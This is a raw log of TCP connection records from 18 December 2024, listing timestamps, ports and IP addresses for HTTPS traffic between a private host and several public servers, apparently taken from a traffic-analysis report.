Dec 18, 2024 14:53:42.480552912 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.480659962 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.488868952 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.492068052 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.495985985 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.496057034 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.496088028 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.497097015 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.497154951 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.497167110 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.505429029 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.505477905 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.505486965 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.505501986 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.505534887 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.505557060 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.513400078 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.513474941 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.513494968 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.513592958 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.513647079 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.513653994 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.521352053 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.521478891 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.521518946 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.521548986 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.521593094 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.521661997 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.521666050 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.521688938 CET	443	49724	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.521719933 CET	49724	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.521879911 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.521934986 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.521941900 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.524868011 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.524904966 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.524992943 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.525233984 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:42.525253057 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:42.537889004 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.537935019 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.537961960 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.537971020 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.538014889 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.545767069 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.553556919 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.553595066 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.553622961 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.553636074 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.553682089 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.561173916 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.561271906 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.561369896 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.561408043 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.561428070 CET	443	49723	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:42.561439037 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:42.561477900 CET	49723	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:43.539355040 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.539665937 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.539696932 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.540062904 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.540404081 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.540483952 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.540673971 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.587378025 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.742575884 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.742867947 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.742903948 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.744039059 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.744664907 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.744848013 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:43.744882107 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.786356926 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:43.786375046 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067081928 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067126989 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067158937 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067183018 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067250013 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.067293882 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.067310095 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.075278044 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.075356007 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.075366020 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.083743095 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.083805084 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.083812952 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.092183113 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.092257023 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.092264891 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.137476921 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.137509108 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.185369968 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.186646938 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.188256025 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.188359976 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.189265013 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.189433098 CET	49726	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.189449072 CET	443	49726	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.192373037 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.192415953 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:44.192585945 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.192801952 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.192819118 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:44.233403921 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.272917986 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.276705027 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.276815891 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.276850939 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.282896996 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.284704924 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.284728050 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.298224926 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.298270941 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.298352957 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.298391104 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.298748970 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.305881977 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.313433886 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.313528061 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.313551903 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.313620090 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.313684940 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.321113110 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.328931093 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.329109907 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.329128027 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.336622953 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.336707115 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.336724043 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.344273090 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.344398975 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.344408989 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.352083921 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.352174044 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.352184057 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.367187977 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.367253065 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.367263079 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.408384085 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.465430975 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.468940973 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.469033957 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.469055891 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.476452112 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.476551056 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.476563931 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.491276979 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.491288900 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.491365910 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.491395950 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.504987001 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.505048990 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.505060911 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.505108118 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.509565115 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.514316082 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.514395952 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.514405966 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.514448881 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.523708105 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.523715973 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.523777962 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.532965899 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.532974005 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.533040047 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.542387962 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.542397022 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.542462111 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.547142982 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.547220945 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.556498051 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.556576014 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.565742970 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.565810919 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.570559978 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.570640087 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.587137938 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.587210894 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.596548080 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.596627951 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.657378912 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.657458067 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.663032055 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.663105965 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.671943903 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.672013998 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.672039032 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.672081947 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.672118902 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.672132969 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.672182083 CET	49725	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:44.672199965 CET	443	49725	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:44.674782038 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.674829960 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:44.674907923 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.675100088 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:44.675117970 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:44.690709114 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:44.690740108 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:44.690793991 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:44.691097021 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:44.691112041 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:45.075999975 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:45.076045990 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:45.076124907 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:45.076380968 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:45.076396942 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:45.405862093 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.408401012 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.408418894 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.409097910 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.409463882 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.409591913 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.409593105 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.454350948 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.454369068 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.850013018 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.850203037 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.850250959 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.851150990 CET	49728	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.851171017 CET	443	49728	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.885503054 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.885755062 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.885797977 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.886136055 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.886595964 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.886666059 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.886794090 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:45.927330017 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:45.938997984 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:45.939297915 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:45.939326048 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:45.939841986 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:45.940222025 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:45.940299034 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:45.940371037 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:45.983334064 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.286725998 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.287018061 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.287038088 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.287393093 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.287808895 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.287895918 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.287959099 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.287995100 CET	49731	443	192.168.2.16	104.18.94.41
Dec 18, 2024 14:53:46.288036108 CET	443	49731	104.18.94.41	192.168.2.16
Dec 18, 2024 14:53:46.327965975 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328020096 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328054905 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328083038 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328099012 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.328114986 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328130960 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.328150034 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.328178883 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.336333036 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.344624043 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.344666004 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.344706059 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.344717026 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.344767094 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.353017092 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.406265020 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.406297922 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.406388044 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:46.406409979 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.408369064 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.423048973 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.423135996 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:46.423154116 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.423168898 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.423228979 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:46.423228979 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:46.423358917 CET	49730	443	192.168.2.16	192.185.158.101
Dec 18, 2024 14:53:46.423371077 CET	443	49730	192.185.158.101	192.168.2.16
Dec 18, 2024 14:53:46.448314905 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.503384113 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.520437002 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.524126053 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.524190903 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.524210930 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.534976006 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.535031080 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.535051107 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.535062075 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.535113096 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.542845964 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.550594091 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.550664902 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.550676107 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.558515072 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.558593988 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.558609962 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.566441059 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.566509008 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.566519022 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.573995113 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.574065924 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.574085951 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.581839085 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.581896067 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.581906080 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.596129894 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.596165895 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.596352100 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.596364975 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.596414089 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.712539911 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.714915037 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.714978933 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.715009928 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.722851992 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.722906113 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.722917080 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.725250006 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.725328922 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.725337982 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.734734058 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.734795094 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.734805107 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.744173050 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.744198084 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.744246006 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.744259119 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.744287014 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.753462076 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.753528118 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.753536940 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.753582001 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.753590107 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.762809038 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.762877941 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.762887955 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.762933016 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.767563105 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.767626047 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.777385950 CET	443	49729	104.18.95.41	192.168.2.16
Dec 18, 2024 14:53:46.777457952 CET	49729	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:53:46.782203913 CET	443	49731	104.18.94.41	192.168.2.16
